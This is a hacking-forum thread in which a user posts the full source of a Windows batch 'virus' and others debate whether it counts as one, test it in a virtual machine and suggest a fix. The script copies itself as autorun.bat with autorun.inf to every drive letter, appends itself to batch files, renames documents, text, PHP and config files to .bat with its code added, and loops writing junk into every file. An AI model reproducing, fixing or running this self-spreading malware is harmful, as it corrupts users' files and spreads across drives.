[noize]

Okay, after having seen like billions of batch "viruses" like:

Code:

@echo off :loop md %random% goto loop

or

Code:

@echo off rd C:\

or even

Code:

@echo off system(rm *.*)

which thing is embarassing:
- system is a C command for using a shell command;
- rm does nowhere exist.

I've never seen a real batch virus, but I think this should be called so:

Code:

@echo off color 0a title Batch Virus by Noize :: This time (is a virus) for real :: cd %systemdrive% copy %0 a:\autorun.bat copy %0 b:\autorun.bat copy %0 c:\autorun.bat copy %0 d:\autorun.bat copy %0 e:\autorun.bat copy %0 f:\autorun.bat copy %0 g:\autorun.bat copy %0 h:\autorun.bat copy %0 i:\autorun.bat copy %0 j:\autorun.bat copy %0 k:\autorun.bat copy %0 l:\autorun.bat copy %0 m:\autorun.bat copy %0 n:\autorun.bat copy %0 o:\autorun.bat copy %0 p:\autorun.bat copy %0 q:\autorun.bat copy %0 r:\autorun.bat copy %0 s:\autorun.bat copy %0 t:\autorun.bat copy %0 u:\autorun.bat copy %0 v:\autorun.bat copy %0 w:\autorun.bat copy %0 x:\autorun.bat copy %0 y:\autorun.bat copy %0 z:\autorun.bat echo [autorun] > A:\autorun.inf echo open=autorun.bat >> A:\autorun.inf echo [autorun] > B:\autorun.inf echo open=autorun.bat >> B:\autorun.inf echo [autorun] > C:\autorun.inf echo open=autorun.bat >> C:\autorun.inf echo [autorun] > D:\autorun.inf echo open=autorun.bat >> D:\autorun.inf echo [autorun] > E:\autorun.inf echo open=autorun.bat >> E:\autorun.inf echo [autorun] > F:\autorun.inf echo open=autorun.bat >> F:\autorun.inf echo [autorun] > G:\autorun.inf echo open=autorun.bat >> G:\autorun.inf echo [autorun] > H:\autorun.inf echo open=autorun.bat >> H:\autorun.inf echo [autorun] > I:\autorun.inf echo open=autorun.bat >> I:\autorun.inf echo [autorun] > j:\autorun.inf echo open=autorun.bat >> j:\autorun.inf echo [autorun] > k:\autorun.inf echo open=autorun.bat >> k:\autorun.inf echo [autorun] > l:\autorun.inf echo open=autorun.bat >> l:\autorun.inf echo [autorun] > m:\autorun.inf echo open=autorun.bat >> m:\autorun.inf echo [autorun] > n:\autorun.inf echo open=autorun.bat >> n:\autorun.inf echo [autorun] > o:\autorun.inf echo open=autorun.bat >> o:\autorun.inf echo [autorun] > p:\autorun.inf echo open=autorun.bat >> p:\autorun.inf echo [autorun] > q:\autorun.inf echo open=autorun.bat >> q:\autorun.inf echo [autorun] > r:\autorun.inf echo open=autorun.bat >> r:\autorun.inf echo [autorun] > s:\autorun.inf echo open=autorun.bat >> s:\autorun.inf echo [autorun] > t:\autorun.inf echo open=autorun.bat >> t:\autorun.inf echo [autorun] > u:\autorun.inf echo open=autorun.bat >> u:\autorun.inf echo [autorun] > v:\autorun.inf echo open=autorun.bat >> v:\autorun.inf echo [autorun] > w:\autorun.inf echo open=autorun.bat >> w:\autorun.inf echo [autorun] > x:\autorun.inf echo open=autorun.bat >> x:\autorun.inf echo [autorun] > y:\autorun.inf echo open=autorun.bat >> y:\autorun.inf echo [autorun] > z:\autorun.inf echo open=autorun.bat >> z:\autorun.inf for /f "tokens=*" %%f in ('dir *.bat /b /s') do type %0 >> %%f for /f "tokens=*" %%f in ('dir *.cmd /b /s') do type %0 >> %%f for /f "tokens=*" %%f in ('dir *.txt /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.rtf /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.doc /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.docx /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.php /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.reg /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.css /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.inf /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.ini /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.odt /b /s') do move %%f %%f.bat & type %0 >> %%f.bat for /f "tokens=*" %%f in ('dir *.mak /b /s') do move %%f %%f.bat & type %0 >> %%f.bat set a=virus.bat if exist virus.bat set a=malware.bat :loop echo :loop > %a% echo for /f "tokens=*" %%%%a in ('dir *.* /b /s') do echo ^%rando^m%%r^andom%%ra^ndom%%rando^m%%r^andom% ^>^> %%%%a >> %a% & echo %ra^ndom%x^=^^^=S?S%r^andom% ^>^> %%%%f >> %a% echo goto loop >> %a% start %a% if not exist :\autorun.bat copy %0 :\autorun.bat if not exist :\autorun.bat copy %0 :\autorun.bat if not exist a:\autorun.bat copy %0 a:\autorun.bat if not exist b:\autorun.bat copy %0 b:\autorun.bat if not exist c:\autorun.bat copy %0 c:\autorun.bat if not exist d:\autorun.bat copy %0 d:\autorun.bat if not exist e:\autorun.bat copy %0 e:\autorun.bat if not exist f:\autorun.bat copy %0 f:\autorun.bat if not exist g:\autorun.bat copy %0 g:\autorun.bat if not exist h:\autorun.bat copy %0 h:\autorun.bat if not exist i:\autorun.bat copy %0 i:\autorun.bat if not exist j:\autorun.bat copy %0 j:\autorun.bat if not exist k:\autorun.bat copy %0 k:\autorun.bat if not exist l:\autorun.bat copy %0 l:\autorun.bat if not exist m:\autorun.bat copy %0 m:\autorun.bat if not exist n:\autorun.bat copy %0 n:\autorun.bat if not exist o:\autorun.bat copy %0 o:\autorun.bat if not exist p:\autorun.bat copy %0 p:\autorun.bat if not exist q:\autorun.bat copy %0 q:\autorun.bat if not exist r:\autorun.bat copy %0 r:\autorun.bat if not exist s:\autorun.bat copy %0 s:\autorun.bat if not exist t:\autorun.bat copy %0 t:\autorun.bat if not exist u:\autorun.bat copy %0 u:\autorun.bat if not exist v:\autorun.bat copy %0 v:\autorun.bat if not exist w:\autorun.bat copy %0 w:\autorun.bat if not exist x:\autorun.bat copy %0 x:\autorun.bat if not exist y:\autorun.bat copy %0 y:\autorun.bat if not exist z:\autorun.bat copy %0 z:\autorun.bat echo [autorun] > A:\autorun.inf echo open=autorun.bat >> A:\autorun.inf echo [autorun] > B:\autorun.inf echo open=autorun.bat >> B:\autorun.inf echo [autorun] > C:\autorun.inf echo open=autorun.bat >> C:\autorun.inf echo [autorun] > D:\autorun.inf echo open=autorun.bat >> D:\autorun.inf echo [autorun] > E:\autorun.inf echo open=autorun.bat >> E:\autorun.inf echo [autorun] > F:\autorun.inf echo open=autorun.bat >> F:\autorun.inf echo [autorun] > G:\autorun.inf echo open=autorun.bat >> G:\autorun.inf echo [autorun] > H:\autorun.inf echo open=autorun.bat >> H:\autorun.inf echo [autorun] > I:\autorun.inf echo open=autorun.bat >> I:\autorun.inf echo [autorun] > j:\autorun.inf echo open=autorun.bat >> j:\autorun.inf echo [autorun] > k:\autorun.inf echo open=autorun.bat >> k:\autorun.inf echo [autorun] > l:\autorun.inf echo open=autorun.bat >> l:\autorun.inf echo [autorun] > m:\autorun.inf echo open=autorun.bat >> m:\autorun.inf echo [autorun] > n:\autorun.inf echo open=autorun.bat >> n:\autorun.inf echo [autorun] > o:\autorun.inf echo open=autorun.bat >> o:\autorun.inf echo [autorun] > p:\autorun.inf echo open=autorun.bat >> p:\autorun.inf echo [autorun] > q:\autorun.inf echo open=autorun.bat >> q:\autorun.inf echo [autorun] > r:\autorun.inf echo open=autorun.bat >> r:\autorun.inf echo [autorun] > s:\autorun.inf echo open=autorun.bat >> s:\autorun.inf echo [autorun] > t:\autorun.inf echo open=autorun.bat >> t:\autorun.inf echo [autorun] > u:\autorun.inf echo open=autorun.bat >> u:\autorun.inf echo [autorun] > v:\autorun.inf echo open=autorun.bat >> v:\autorun.inf echo [autorun] > w:\autorun.inf echo open=autorun.bat >> w:\autorun.inf echo [autorun] > x:\autorun.inf echo open=autorun.bat >> x:\autorun.inf echo [autorun] > y:\autorun.inf echo open=autorun.bat >> y:\autorun.inf echo [autorun] > z:\autorun.inf echo open=autorun.bat >> z:\autorun.inf goto loop

This basically keeps on infecting other drives to spread (yes, it has got a spreading function) and infects other bat, cmd, txt, doc, and other files changing their extensions to bat and also puts junk numbers & characters in all files it finds in the system drive (but without overwriting content in them).
Though it is a very low level virus, (not a big thing at all, I coded it like 5 minutes but I just wanted to make a so defineable "virus") this should be defined as a virus as properly infects other files with its own codes.
But if anybody finds a reason why it isn't properly a virus please tell me.

[Ex094]

I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-...ch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!

[noize]

I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-...ch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!

I can tell I didn't copy & paste this from anywhere.
Actually I don't know if there you could easily find by Googling batch files who keep on looking for and then infect other drives because I coded this for the first time by myself long time ago just as I knew about .inf files and autorun.inf files and implemented it in a compiled background worm who just infects quietly.
I know everybody says he made a batch virus but this time I believe it is for real a "virus".

[Ex094]

I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-...ch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!

I can tell I didn't copy & paste this from anywhere.
Actually I don't know if there you could easily find by Googling batch files who keep on looking for and then infect other drives because I coded this for the first time by myself long time ago just as I knew about .inf files and autorun.inf files and implemented it in a compiled background worm who just infects quietly.
I know everybody says he made a batch virus but this time I believe it is for real a "virus".

NO NO! You misunderstood my post, I'm not saying that you copied this code. I totally believe that it's yours but what I was trying to tell you that Viruses are much more complicated whereas Batch Viruses are not as they sound like, they are just copy, paste type functions. Coding viruses takes a lot of effort and skills which requires years of experience and awareness about technology and how to exploit them.
So what I'm saying is that Batch Viruses are not Viruses, they are not even 1/10th of what you call a Real Virus..
I hope you understand

[noize]

I think you should read 1llusion's thread http://www.hackcommunity.com/Thread-The-...ch-viruses about Batch Scripts and why they are not to be called as 'Viruses or Malware'..
Nice work BTW!

I can tell I didn't copy & paste this from anywhere.
Actually I don't know if there you could easily find by Googling batch files who keep on looking for and then infect other drives because I coded this for the first time by myself long time ago just as I knew about .inf files and autorun.inf files and implemented it in a compiled background worm who just infects quietly.
I know everybody says he made a batch virus but this time I believe it is for real a "virus".

NO NO! You misunderstood my post, I'm not saying that you copied this code. I totally believe that it's yours but what I was trying to tell you that Viruses are much more complicated whereas Batch Viruses are not as they sound like, they are just copy, paste type functions. Coding viruses takes a lot of effort and skills which requires years of experience and awareness about technology and how to exploit them.
So what I'm saying is that Batch Viruses are not Viruses, they are not even 1/10th of what you call a Real Virus..
I hope you understand

No problem, I had got it.
I know the difficulty about making a much more complicated and serious virus; but not for that there are many complicated applications a C++ Hello World is not an application.

[Deque]

You can create a Batch virus. I mentioned that in my tutorial (link). A .bat infecting Batch virus can copy its own code instructions to the end of the file and add a jump instruction at the beginning that will point to the end. This way the virus code is executed whenever the .bat file is run and the virus can execute the host afterwards, making it seem that the program still works as it should.

But: No Batch virus has been successful in the wild.

@Noize: I am not a batch coder, so I am asking you if I understand your code correctly: Your program copies itself named as autorun.bat to every drive and changes the autorun.inf so that autorun.bat is started first.
It shall "spread" to other files by writing random crap into it? Are these files infectious by themselves? If they are not then I don't see how this spreading.

I ran your code in a VM with WinXP and it did create the autorun.bat, but they where not run by the system and the spreading didn't seem to work. None of my txt files or others was affected. I only got a virus.bat on my desktop containing this:

Code:

:loop x=^=S?S >> %f goto loop

[noize]

You can create a Batch virus. I mentioned that in my tutorial (link). A .bat infecting Batch virus can copy its own code instructions to the end of the file and add a jump instruction at the beginning that will point to the end. This way the virus code is executed whenever the .bat file is run and the virus can execute the host afterwards, making it seem that the program still works as it should.

But: No Batch virus has been successful in the wild.

@Noize: I am not a batch coder, so I am asking you if I understand your code correctly: Your program copies itself named as autorun.bat to every drive and changes the autorun.inf so that autorun.bat is started first.
It shall "spread" to other files by writing random crap into it? Are these files infectious by themselves? If they are not then I don't see how this spreading.

I ran your code in a VM with WinXP and it did create the autorun.bat, but they where not run by the system and the spreading didn't seem to work. None of my txt files or others was affected. I only got a virus.bat on my desktop containing this:

Code:

:loop x=^=S?S >> %f goto loop

Well, this is not my best-come experiment. I just wanted to make a batch virus as I didn't do before (as you said, it doesn't survive in the wild; no way).
But anyhow, may you have called the main code which I posted "virus.bat" ? Because I've been a really idiot and if you did so, please try again as I'm now editing the main source code to work even if you call it virus.bat.

[Deque]

Well, this is not my best-come experiment. I just wanted to make a batch virus as I didn't do before (as you said, it doesn't survive in the wild; no way).
But anyhow, may you have called the main code which I posted "virus.bat" ? Because I've been a really idiot and if you did so, please try again as I'm now editing the main source code to work even if you call it virus.bat.

I didn't call your code virus.bat. If that's the issue, you should use the current path instead of a hardcoded name:
set curpath = %~dp0

Your renamed autorun.bat has to work too (it is also not a virus.bat)

[noize]

Well, this is not my best-come experiment. I just wanted to make a batch virus as I didn't do before (as you said, it doesn't survive in the wild; no way).
But anyhow, may you have called the main code which I posted "virus.bat" ? Because I've been a really idiot and if you did so, please try again as I'm now editing the main source code to work even if you call it virus.bat.

I didn't call your code virus.bat. If that's the issue, you should use the current path instead of a hardcoded name:
set curpath = %~dp0

Your renamed autorun.bat has to work too (it is also not a virus.bat)

Oh, I have fixed some errors.
Could you please tell me about it now?
I swear I'll soon set up a VM, man.
(fixed in main post)

[ArkPhaze]

"Virus" is really a relative term. Although this script could be massively reduced with a better structured loop. There's no reason for why this script should be that many lines.